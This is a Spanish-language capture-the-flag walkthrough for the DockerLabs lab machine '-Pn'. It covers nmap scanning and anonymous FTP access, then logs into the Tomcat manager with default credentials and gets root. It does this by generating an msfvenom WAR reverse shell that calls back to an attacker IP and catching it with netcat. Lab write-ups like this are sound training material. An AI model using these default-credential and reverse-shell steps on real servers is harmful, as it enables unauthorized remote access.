> For the complete documentation index, see [llms.txt](https://brias.gitbook.io/brias/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://brias.gitbook.io/brias/dockerlabs/dificultad-facil/pn.md).
# -Pn
### **1. Despliegue de la máquina**
#### **1.1. Descarga**
Accedemos a la web oficial de [DockerLabs](https://dockerlabs.es/), buscamos la máquina **-Pn** y pulsamos el botón de descarga.
Esto nos redirige a un enlace de Mega, desde donde descargamos un archivo comprimido que incluye tanto la imagen de la máquina como el script necesario para su ejecución.
#### **1.2. Descompresión**
Utilizamos la herramienta `7z` para extraer el contenido del archivo comprimido `Pn.zip`:
```bash
7z x Pn.zip
```
#### **1.3. Ejecución**
Ejecutamos el script `auto_deploy.sh` para levantar la máquina en Docker, pasando como argumento el archivo `pn.tar`:
```bash
bash auto_deploy.sh pn.tar
```
### **2. Reconocimiento**
#### **2.1. Verificación de conectividad**
Realizamos un `ping` a la dirección IP de la máquina (`172.17.0.2`) para confirmar que está activa:
```bash
ping -c 1 172.17.0.2
```
#### **2.2. Escaneo de puertos**
Realizamos un escaneo rápido con `nmap` para identificar puertos abiertos:
```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allPorts
```
**Explicación de los parámetros:**
* `-p-`: Escanea todos los puertos TCP, del 1 al 65535.
* `--open`: Muestra solo los puertos que están abiertos, omitiendo los cerrados o filtrados.
* `-sS`: Realiza un escaneo SYN (stealth scan) que no completa la conexión TCP.
* `--min-rate 5000`: Fuerza una velocidad mínima de 5000 paquetes por segundo, acelerando el escaneo.
* `-vvv`: Activa el nivel máximo de verbosidad, mostrando información detallada del proceso.
* `-n`: Evita la resolución DNS, usando solo direcciones IP.
* `-Pn`: Omite la detección de host activo, asumiendo que el host está disponible.
* `-oG allPorts`: Guarda los resultados del escaneo en formato grepable, en el archivo `allPorts`.
**Resultados del escaneo:**
* **Puerto 21:** `FTP`.
* **Puerto 8080:** `HTTP`.
#### **2.3. Escaneo detallado**
Realizamos un escaneo más exhaustivo para obtener información adicional sobre los puertos abiertos:
```bash
nmap -p21,8080 -sCV 172.17.0.2 -oN targeted
```
**Explicación de los parámetros:**
* `-p21,8080`: Especifica los puertos a escanear.
* `-sCV`: Combina la ejecución de scripts básicos de reconocimiento (`-sC`) con el escaneo de versiones (`-sV`).
* `-oN targeted`: Guarda los resultados del escaneo en formato normal, en el archivo `targeted`.
**Resultados del escaneo:**
* **Puerto 21:** `vsftpd 3.0.5`, con acceso anónimo habilitado y la existencia de un archivo llamado `tomcat.txt`.
* **Puerto 8080:** `Apache Tomcat 9.0.88`.
#### **2.4. Análisis del servicio FTP**
Accedemos al servicio FTP con el usuario `anonymous` para descargar el archivo `tomcat.txt`:
```bash
ftp anonymous@172.17.0.2
```
Listamos los archivos disponibles:
```bash
ls
```
Como podemos comprobar, si existe el archivo `tomcat.txt`.
Descargamos el archivo `tomcat.txt`:
```bash
get tomcat.txt
```
Inspeccionamos su contenido:
```bash
cat tomcat.txt
```
**El mensaje encontrado es:** `Hello tomcat, can you configure the tomcat server? I lost the password...`.
#### **2.5. Análisis del servicio web**
Accedemos al servicio HTTP en el puerto 8080 desde el navegador: `http://172.17.0.2:8080/`.
Intentamos acceder al panel de administración (`Manager App`), pero se nos solicitan credenciales.
### **3. Explotación**
#### **3.1. Búsqueda de credenciales por defecto**
Consultamos la documentación de [HackTricks](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/tomcat/index.html) para identificar credenciales por defecto de Apache Tomcat.
Probamos varias combinaciones y encontramos que las credenciales `tomcat:s3cr3t` permiten el acceso al panel de administración.
#### **3.2. Subida de archivo WAR malicioso**
Dentro del panel de administración, localizamos la sección **WAR file to deploy**, que permite la subida de archivos WAR para desplegar aplicaciones.
Generamos una reverse shell en formato WAR utilizando `msfvenom`:
```bash
msfvenom -p java/shell_reverse_tcp LHOST=100.100.100.4 LPORT=123 -f war -o shell.war
```
Subimos el archivo desde el panel de Tomcat.
#### **3.3. Ejecución de la reverse shell**
Nos ponemos en escucha en el puerto especificado (`123`) utilizando `netcat`:
```bash
nc -lvnp 123
```
Accedemos al archivo WAR desde el navegador para activar la reverse shell.
La página web queda en carga indefinida, pero recibimos una conexión reversa en nuestra terminal, obteniendo acceso al sistema como el usuario `root`.
